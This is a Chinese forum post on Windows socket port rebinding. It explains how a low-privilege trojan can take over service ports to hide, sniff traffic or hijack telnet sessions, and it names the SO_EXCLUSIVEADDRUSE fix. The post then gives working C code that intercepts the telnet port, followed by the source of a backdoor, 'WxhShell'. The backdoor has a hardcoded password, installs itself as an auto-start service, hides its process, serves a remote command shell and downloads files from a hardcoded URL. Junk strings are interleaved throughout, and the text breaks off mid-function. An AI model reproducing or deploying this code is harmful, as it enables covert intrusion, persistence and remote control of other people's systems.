社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14166阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ) i=.x+Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )TzQ8YpO}  
C0%yGLh&  
  saddr.sin_family = AF_INET; {#4F}@Q  
fy|$A@f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vKmV<*K  
\d}>@@U&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .h[yw$z6  
Vo8gLX]a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bOS; 1~~  
X6SWcJtSw  
  这意味着什么?意味着可以进行如下的攻击: EK$3T5e  
7 HM%Cd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `(o:;<&3  
2*ByVK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HGlQZwf  
~l"]J'jF"H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bn6WvC 3?  
<3C/t|s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,IDCbJ  
=`Lci1#pu}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u+5MrS [  
OV,t|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1 paLxR5  
b .|k j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Lv m"!!  
)uu1AbT +e  
  #include 9vI<\ Xa  
  #include T1=T  
  #include ZfP$6%;_  
  #include    G_/Dz JBF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z^^)n  
  int main() N|\Q:<!2_w  
  { szC<ht?z  
  WORD wVersionRequested; X)b@ia'"Wp  
  DWORD ret; 7B{LRm6;Vu  
  WSADATA wsaData; d=d*:<Zx  
  BOOL val; h1 pEC  
  SOCKADDR_IN saddr; ce:p*  
  SOCKADDR_IN scaddr; ;{89*e*)  
  int err; F_F02:t  
  SOCKET s; ;7E c'nC4  
  SOCKET sc; 2xK v;  
  int caddsize; V;29ieE!  
  HANDLE mt; 3>QkO.b  
  DWORD tid;   #%7)a;'  
  wVersionRequested = MAKEWORD( 2, 2 ); (5a:O (\r  
  err = WSAStartup( wVersionRequested, &wsaData ); dTZ$92<  
  if ( err != 0 ) { Lz{z~xNHW.  
  printf("error!WSAStartup failed!\n"); aI;-NnC  
  return -1; h5<eU;Rw+  
  } G4](!f!Kv  
  saddr.sin_family = AF_INET; K*S3{s%UR  
   #g=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z}w7X6&e  
.bY R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `IV7\}I|  
  saddr.sin_port = htons(23); R9\ )a2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yhte&,D"  
  { n#^ii/H  
  printf("error!socket failed!\n"); e2qSU[  
  return -1; A<''x'\/  
  } LS]0p#  
  val = TRUE; E.N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #f<3[BLx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S`8Iu[Ma  
  { 76cLf~|d~  
  printf("error!setsockopt failed!\n"); 50""n7I<%  
  return -1; H)+QkQb}  
  } 49.B!DqQW&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %X|u({(zb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?W2u0N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +}R#mco5K  
-nXlW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }Xvm( ;  
  { %+^Qs\j  
  ret=GetLastError(); `vZX"+BAh  
  printf("error!bind failed!\n"); Y'C1L4d  
  return -1; =M=v; ,I-  
  } 8W Etm}  
  listen(s,2); 10_#Z~aU  
  while(1) 7-gT:  
  { YS:p(jtd  
  caddsize = sizeof(scaddr); =;Dj[<mJ45  
  //接受连接请求 ly:2XvV3~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T~L&c  
  if(sc!=INVALID_SOCKET) R$X~d8o>%  
  { +pRNrg?k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A `{hKS  
  if(mt==NULL) }OY/0p-Z  
  { ?4^ 0xGyE  
  printf("Thread Creat Failed!\n"); S$ffTdRz  
  break; :V1j*)  
  } T+e*'<!O  
  } _n1[(I  
  CloseHandle(mt); 'o~gT ;T#  
  } Al=ByX@  
  closesocket(s); B"8jEYT5  
  WSACleanup(); T'{9!By,P  
  return 0; k/(]1QnW  
  }   NfUt\ p*  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,u>[cRqw  
  { Ec2;?pvd%J  
  SOCKET ss = (SOCKET)lpParam; 4*&k~0#t  
  SOCKET sc; Yt?]0i+  
  unsigned char buf[4096]; P0pBR_:o  
  SOCKADDR_IN saddr; d6W\ \6V  
  long num; P ^ 4 @  
  DWORD val; C;j& Vbf  
  DWORD ret; stUUez>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &d0sv5&s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4jt(tZS  
  saddr.sin_family = AF_INET; mRa\ wEg%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0<O()NMv  
  saddr.sin_port = htons(23); )2_[Ww|.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -n8d#Qm)  
  { 9:P]{}  
  printf("error!socket failed!\n"); wZs 2 aa  
  return -1; qV6WT&)T  
  } uFha N\S  
  val = 100; [dAQrou6P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QFMA y>Gdn  
  { =3 Vug2*wd  
  ret = GetLastError(); YZ`SF"Bd(  
  return -1; K_@?Q@#YhR  
  } }B a_epM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n}I?.r@e  
  { &gPP# D6A  
  ret = GetLastError(); &O^-,n  
  return -1; [q U v|l1  
  } vxHFNGI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r! HXhl  
  { X =%8*_  
  printf("error!socket connect failed!\n"); le]~Cy0  
  closesocket(sc); x x4GP2  
  closesocket(ss); N#2ldY *  
  return -1; =YTcWB  
  } ^sB0$|DU  
  while(1) 3H`{ A/r  
  { vENf3;o0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mf)+ 5On  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pQKSPr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QW$p{ zo  
  num = recv(ss,buf,4096,0); l<BV{Gl  
  if(num>0) !1fZ7a  
  send(sc,buf,num,0); ),-gy~  
  else if(num==0) )Qd x  
  break; ddyX+.LMk  
  num = recv(sc,buf,4096,0); HC/z3b;  
  if(num>0) !3Pbu=(cte  
  send(ss,buf,num,0); !Av9 ?Q:  
  else if(num==0) U(9_&sL  
  break; c(e>Rmh  
  } p |1u,N  
  closesocket(ss); h='F,r5#2  
  closesocket(sc); t`&x.o  
  return 0 ; 8lL|j  
  } tKeTHj;jO  
B+snHabS6  
!TJ,:c]4{!  
========================================================== C!a1.&HHZ7  
9&5<ZC-D  
下边附上一个代码,,WXhSHELL ".tL+A[  
-^lc-$0  
========================================================== @(~:JP?KNC  
dWPQp*f2  
#include "stdafx.h" `r-jWK\  
i*Ldec^  
#include <stdio.h> 4G?^#+|^  
#include <string.h> KGHSEZi]  
#include <windows.h> Vh;zV Y  
#include <winsock2.h> /rnI"ze`  
#include <winsvc.h> qfyZda0d  
#include <urlmon.h> |7tD&9<  
=I'3C']Z W  
#pragma comment (lib, "Ws2_32.lib") o[T+/Ej&  
#pragma comment (lib, "urlmon.lib") `om+p?j  
C=/B\G/.9  
#define MAX_USER   100 // 最大客户端连接数 8&)v%TX  
#define BUF_SOCK   200 // sock buffer 1(Ta*"(0Ip  
#define KEY_BUFF   255 // 输入 buffer :t{~Mi=T  
]MV8rC[\  
#define REBOOT     0   // 重启 LWN {  
#define SHUTDOWN   1   // 关机 jb -kg</A  
67YC;J]n=z  
#define DEF_PORT   5000 // 监听端口 o^\Pt<~W  
0(D^NtB7  
#define REG_LEN     16   // 注册表键长度 >w@+cUto  
#define SVC_LEN     80   // NT服务名长度 q8 ?kBKP  
pW(rNAJ!  
// 从dll定义API lGl'A}]#$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &~ y)b`r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cKe%P|8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C/Khp +  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )ODF6Ag  
]~KLdgru_  
// wxhshell配置信息 Jpj=d@Of70  
struct WSCFG { vRmn61  
  int ws_port;         // 监听端口 jdP )y]c  
  char ws_passstr[REG_LEN]; // 口令 LdV&G/G-#D  
  int ws_autoins;       // 安装标记, 1=yes 0=no S{rltT-  
  char ws_regname[REG_LEN]; // 注册表键名 iqQT ^  
  char ws_svcname[REG_LEN]; // 服务名 8w&-O~M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UJ)pae  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2gPqB*H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DH-M|~.sf^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IW 3k{z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QEhn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VThr]$2Y  
Nr4:Gih  
}; ?Gki0^~J  
lmvp,BzC  
// default Wxhshell configuration h'):/}JPl  
struct WSCFG wscfg={DEF_PORT, 2Wz8E2.  
    "xuhuanlingzhe", _\}'5nmw\  
    1, d,V#5l-6  
    "Wxhshell", 4Z( #;9f  
    "Wxhshell", ^dHQ<L3.*  
            "WxhShell Service", N1c=cZDV  
    "Wrsky Windows CmdShell Service", i2~uhGJ  
    "Please Input Your Password: ", f"QiVJq  
  1, (+> 2&@@<  
  "http://www.wrsky.com/wxhshell.exe", [1VA`:?W  
  "Wxhshell.exe" QPJ \Iu@D$  
    }; d(T4Kd$r  
{r,U ik-nL  
// 消息定义模块 wA=r ]BT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,#A(I#wL~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ymk?@mV4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gt9$hB7  
char *msg_ws_ext="\n\rExit."; 2 |s ohF  
char *msg_ws_end="\n\rQuit."; (^d7K:-'  
char *msg_ws_boot="\n\rReboot..."; r~t`H*C)}  
char *msg_ws_poff="\n\rShutdown..."; jxh:z  
char *msg_ws_down="\n\rSave to "; WQK<z!W5  
m+kP"]v  
char *msg_ws_err="\n\rErr!"; r ]DiB:.  
char *msg_ws_ok="\n\rOK!"; }TmOoi(X@  
~~tTr $  
char ExeFile[MAX_PATH]; %ou,|Dww  
int nUser = 0; {ez $kz  
HANDLE handles[MAX_USER]; `>gG"1,]  
int OsIsNt;  wA"@t  
!Zz;;Z  
SERVICE_STATUS       serviceStatus; $MQ}+*Wr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cO~<iy  
>lQo _p(;  
// 函数声明 1- KNXGb'  
int Install(void); KA5)]UF`l  
int Uninstall(void); gg'1q3OjM  
int DownloadFile(char *sURL, SOCKET wsh); `8:)? 0Ez  
int Boot(int flag); zfIo] M`  
void HideProc(void); yn4T!r "  
int GetOsVer(void); xM*_1+<dT$  
int Wxhshell(SOCKET wsl); B$4*U"tk  
void TalkWithClient(void *cs); 3S0.sU~_U  
int CmdShell(SOCKET sock); PsY![CPrW  
int StartFromService(void); -8TJ:#|N  
int StartWxhshell(LPSTR lpCmdLine); #~*v##^vFH  
)h{&O ,s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )`\hK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xY^sC56Z  
)g0lI  
// 数据结构和表定义 h0GoF A<  
SERVICE_TABLE_ENTRY DispatchTable[] = m&.LJ*uM\K  
{ CRb8WD6.  
{wscfg.ws_svcname, NTServiceMain}, ^X=Q{nB  
{NULL, NULL} i"2OsGT  
}; e7vm3<m4  
ejROJXB  
// 自我安装 ALF0d|>=uj  
int Install(void) /WrB>w  
{ f98,2I(>`+  
  char svExeFile[MAX_PATH]; |3*9+4]a  
  HKEY key; ^9g$/8[^c_  
  strcpy(svExeFile,ExeFile); z;c>Q\Q  
b$G{^  
// 如果是win9x系统,修改注册表设为自启动 FaL\6w  
if(!OsIsNt) { 1 ^~&"s U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bjZJP\6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 067c/ c  
  RegCloseKey(key); _Cmmx`ln  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "[bkdL<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L$ZjMJ  
  RegCloseKey(key); d>NGCe  
  return 0; 7FB?t<x  
    } i]JTKL{\q  
  } 8:ubtB  
} Kb.qv)6i*  
else { 0Y.z  
NVyBEAoh  
// 如果是NT以上系统,安装为系统服务 p~pD`'%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a:kAo0@":j  
if (schSCManager!=0) k s40 5  
{ !ifU}qFzK  
  SC_HANDLE schService = CreateService DeO-@4+qKd  
  ( FXQWT9Kk~_  
  schSCManager, ke4E 1T-1n  
  wscfg.ws_svcname, LCF}Y{  
  wscfg.ws_svcdisp,  j]u!;]  
  SERVICE_ALL_ACCESS, \Z-th,t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y7Po$)8l  
  SERVICE_AUTO_START, 3uL f0D  
  SERVICE_ERROR_NORMAL, F'bwXb**  
  svExeFile, }K{1Bm@S  
  NULL, i Ha?b2=)  
  NULL, _jWs(OmJ  
  NULL, E$ d#4x  
  NULL, 5E!C?dv(z  
  NULL OgQd yU  
  ); ]?9*Vr:P^  
  if (schService!=0) nL@'??I1  
  { mypV[  
  CloseServiceHandle(schService); K$"#SZEi  
  CloseServiceHandle(schSCManager); Ayz*2 N`%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); > I2rj2M#  
  strcat(svExeFile,wscfg.ws_svcname); S|85g1}t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *t@A-Sn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T(J'p4  
  RegCloseKey(key); #mxOwvJ  
  return 0; !Sc"V.o @!  
    } CSM"Kz`  
  } AIF ?>wgq  
  CloseServiceHandle(schSCManager); { 3G  
} bLqy7S9x  
} agIqca;  
DUp`zW;B  
return 1; wk(25(1q  
} HJL! ;i  
,OE&e* 1  
// 自我卸载 tKbxC>w  
int Uninstall(void) /cjz=r1U>  
{ P/%7kD@5;  
  HKEY key; 1\}vU  
F O!Td  
if(!OsIsNt) { A*JOp8\)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /{T&l*'  
  RegDeleteValue(key,wscfg.ws_regname); `Os=cMR  
  RegCloseKey(key); bI):-2&s}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qmS9*me {  
  RegDeleteValue(key,wscfg.ws_regname); mF4W4~"  
  RegCloseKey(key); 5ggyk0  
  return 0; |v&)O)Jg  
  } Jo?LPR \6  
} VB |?S|<  
} %hB-$nE  
else { l.Q  
3CCs_AO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ah>c)1DA*H  
if (schSCManager!=0) B#K gU&Loo  
{ -y`Pm8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z8v\>@?5R  
  if (schService!=0) c&['T+X  
  { c_/BS n  
  if(DeleteService(schService)!=0) { }:m#}s  
  CloseServiceHandle(schService); ~i,d%a  
  CloseServiceHandle(schSCManager); &l(T},-X  
  return 0; 7)?C+=,0  
  } H2X_W Swm  
  CloseServiceHandle(schService); @0+\:F  
  } P1#g{f  
  CloseServiceHandle(schSCManager); 5Xq+lLW>  
} 2/-m-5A  
} ($di]lbsT  
D8A+`W?  
return 1; OC! {8MR  
} { FJMc O=  
l`v5e"V  
// 从指定url下载文件 LjKxznn o  
int DownloadFile(char *sURL, SOCKET wsh) U[ ]yN.J  
{ x]^d'o:cDP  
  HRESULT hr; /s?%ft#-9o  
char seps[]= "/"; 7@ym:6Y+]  
char *token; \!ZA#7  
char *file; /b+~BvTh  
char myURL[MAX_PATH]; "4b{YWv  
char myFILE[MAX_PATH]; o&JoeKXor  
,!= sGUQ)  
strcpy(myURL,sURL); 5Tsz|k  
  token=strtok(myURL,seps); "x$@^  
  while(token!=NULL) FZ*"^=)`G  
  { " ityx?  
    file=token; l\_!oa~  
  token=strtok(NULL,seps); ?1Nz ,Lc$  
  } kQ\GVI11?  
]TvMT  
GetCurrentDirectory(MAX_PATH,myFILE); j.M]F/j  
strcat(myFILE, "\\"); V&zeC/xSq  
strcat(myFILE, file); oodA&0{)d  
  send(wsh,myFILE,strlen(myFILE),0); 6 AO(A *  
send(wsh,"...",3,0); 2;)IBvK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /xn|d#4  
  if(hr==S_OK) 2> a&m>  
return 0; ,xwiJfG; ]  
else Laj/~Ru6  
return 1; L*0YOE%=]  
[Rj4= qq=  
} VL#:oyWA  
z,Xj$wl  
// 系统电源模块 I:dUHN+@L5  
int Boot(int flag) tI^91I  
{ f6r!3y  
  HANDLE hToken; a1,)1y~  
  TOKEN_PRIVILEGES tkp;  ?K-4T  
PKlR_#EB?  
  if(OsIsNt) { .ATpwFal  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3.movkj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]& D dy&V  
    tkp.PrivilegeCount = 1; C  eEhe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7mtx^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "P7OD^(x/  
if(flag==REBOOT) { 9O g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :7{GOx  
  return 0; |5>Tf6 $(  
} 'a(y]QG  
else { ximVh}'a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m2SJ\1 J=  
  return 0; A&}]:4@{  
} tY$@,>2v  
  } }$)~HmZw  
  else { m mF0RNE  
if(flag==REBOOT) { p39$V[*g(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wOH:'sk["  
  return 0; o0Teect=  
} ru:"c^W:[  
else { G[}v?RLI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mJ%^`mrI  
  return 0; <*vR_?!  
} F`KXG$  
} KKwM\   
VjM/'V5  
return 1; JCH9~n.  
} UV(`.  
x@ X2r  
// win9x进程隐藏模块 h<L_ =)lH  
void HideProc(void) a>C;HO  
{ :@(1~Hm  
6TRLHL~B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2UQF:R?LQ  
  if ( hKernel != NULL ) Zx8$M5  
  { OX,em Ti  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %C%3c4+Oh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u.E>d9  
    FreeLibrary(hKernel); r?KRK?I  
  } OcB&6!1u  
Av.`'.b  
return; 1PVZGZxAgv  
} 'qVlq5.  
#ChTel  
// 获取操作系统版本 JbEEI(Q>g  
int GetOsVer(void) c ,#=In2  
{ eNfH9l2k  
  OSVERSIONINFO winfo; 5H'Iul<Os  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,b^Y8_ltoT  
  GetVersionEx(&winfo); 5]mH.{$x$?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e@c8Ce|0  
  return 1; $c*fbBM(&n  
  else O:v#M]   
  return 0; !bzWgD7j  
} =nHkFi@D=t  
p$F` 9_bZ  
// 客户端句柄模块 :@p]~{m:G  
int Wxhshell(SOCKET wsl) A}! A*z<9  
{ |>P:R4P  
  SOCKET wsh; sct 3|H#  
  struct sockaddr_in client;  Z/Wf  
  DWORD myID; Wrbv<8}%c  
ke@OG! M/  
  while(nUser<MAX_USER) _9-;35D_  
{ _W@sFv%sj  
  int nSize=sizeof(client); xTk6q*NvT^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]G&[P8hz B  
  if(wsh==INVALID_SOCKET) return 1; 'h ?  
/@Jg [na  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^G qO>1U  
if(handles[nUser]==0) "r`2V-E  
  closesocket(wsh); c}v8j2{  
else Sj)?!  
  nUser++; _G`Q2hf"5  
  } wg_Z@iX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #++:`Z  
;+DMv5A "  
  return 0; u;%~P 9O  
} 0rX%z$D+@  
;7[DFlS\P  
// 关闭 socket .`*;AT  
void CloseIt(SOCKET wsh) `C7pM  
{ DI/d(oFv`  
closesocket(wsh); J<NpA(@^  
nUser--; ZT"vVX- )G  
ExitThread(0); o^5UHFxTCB  
} g[y&GCKY!=  
Ce//; Op  
// 客户端请求句柄 @@a#DjE%/  
void TalkWithClient(void *cs) Bd*Ok]  
{ ^69(V LK  
TN Z -0  
  SOCKET wsh=(SOCKET)cs; -~sW@u)O  
  char pwd[SVC_LEN]; f*V^HfiQb  
  char cmd[KEY_BUFF]; p%Q{Rqc)  
char chr[1]; e`B!)Sr  
int i,j; qi^kf  
3f>9tUWhTy  
  while (nUser < MAX_USER) { 8bw, dBN  
zn'Mi:O'p  
if(wscfg.ws_passstr) { '?90e4x3/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y)fz\wk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )(d~A?~  
  //ZeroMemory(pwd,KEY_BUFF); /=V!lRs  
      i=0; \7UeV:3Ojn  
  while(i<SVC_LEN) { q-1vtbn  
]}S9KP  
  // 设置超时 "1dpv \  
  fd_set FdRead; )#Ecm<.^  
  struct timeval TimeOut; K7$Q .  
  FD_ZERO(&FdRead); p]e.E`'S  
  FD_SET(wsh,&FdRead); * W"Pv,:  
  TimeOut.tv_sec=8; aA%x9\Y  
  TimeOut.tv_usec=0; ?y%Mm09  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8u*Q^-fpo0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xt@v"P2Ok  
(RUc>Qi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .|:(VG$MfI  
  pwd=chr[0]; ~ hP]<$v  
  if(chr[0]==0xd || chr[0]==0xa) { "T8b.ng  
  pwd=0; daB 5E<?  
  break; eMOp}.zt|  
  } ?t;,Nk`jx  
  i++; "SKv'*\b  
    } !!6@r|.  
`^g-2~  
  // 如果是非法用户,关闭 socket 0p,_?3nX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nog{w  
} JBV 06T_4o  
G]-\$>5R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .F/l$4CQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I_c?Ky8J_|  
Q>z (!'dw  
while(1) { -hK^*vJ  
wO%617Av  
  ZeroMemory(cmd,KEY_BUFF); fTy{`}>  
pm}_\_  
      // 自动支持客户端 telnet标准   1[Q~&QC  
  j=0; W$}2 $}r0U  
  while(j<KEY_BUFF) { 9y\Ik/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UOe@R|79q  
  cmd[j]=chr[0]; M(} T\R  
  if(chr[0]==0xa || chr[0]==0xd) { +>tSO!}[  
  cmd[j]=0; ,]@Sytky  
  break; t,~feW,  
  } Ch=jt*0  
  j++; JFRbW Q0  
    } U d+6=Us{  
U,< ?]h  
  // 下载文件 q)"yP\  
  if(strstr(cmd,"http://")) { M VE:JNm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #E/|W T  
  if(DownloadFile(cmd,wsh)) H'@@%nO (  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "NV~lJS%  
  else f1\mE~#}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mf9x=K9  
  } w!UIz[ajI  
  else { 0b=00./o  
9WL$3z'*  
    switch(cmd[0]) { s_!F`[  
  B I>r'  
  // 帮助 L>`inrpz=w  
  case '?': { q ) e* eN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ) Cm95,Y  
    break; {ZUgyGE{  
  } 7%|HtBXv^  
  // 安装 X-yS9E  
  case 'i': { fHF*#  
    if(Install()) u~'j?K.^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W 6R/{H  
    else VkC1\L6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gue~aqtJ  
    break; ()_^:WQO?  
    } xn<x/e  
  // 卸载 w\>@> *E>  
  case 'r': { T#YJ5Xw  
    if(Uninstall()) F@xKL;'N74  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |x ir93|  
    else 9+'*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ATD4 %|a9h  
    break; opReAU'I  
    } g|{Ru  
  // 显示 wxhshell 所在路径 .V{y9e+  
  case 'p': { 1VPxCB\  
    char svExeFile[MAX_PATH]; *)T7DN8  
    strcpy(svExeFile,"\n\r"); p+F>+OQ*  
      strcat(svExeFile,ExeFile); DPWnvd  
        send(wsh,svExeFile,strlen(svExeFile),0); )5<c8lzp  
    break; IP#qT `=}  
    } <[z9*Tm  
  // 重启 6 Znt   
  case 'b': { {u$<-W-&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \2 [  
    if(Boot(REBOOT)) _WBWFGj  
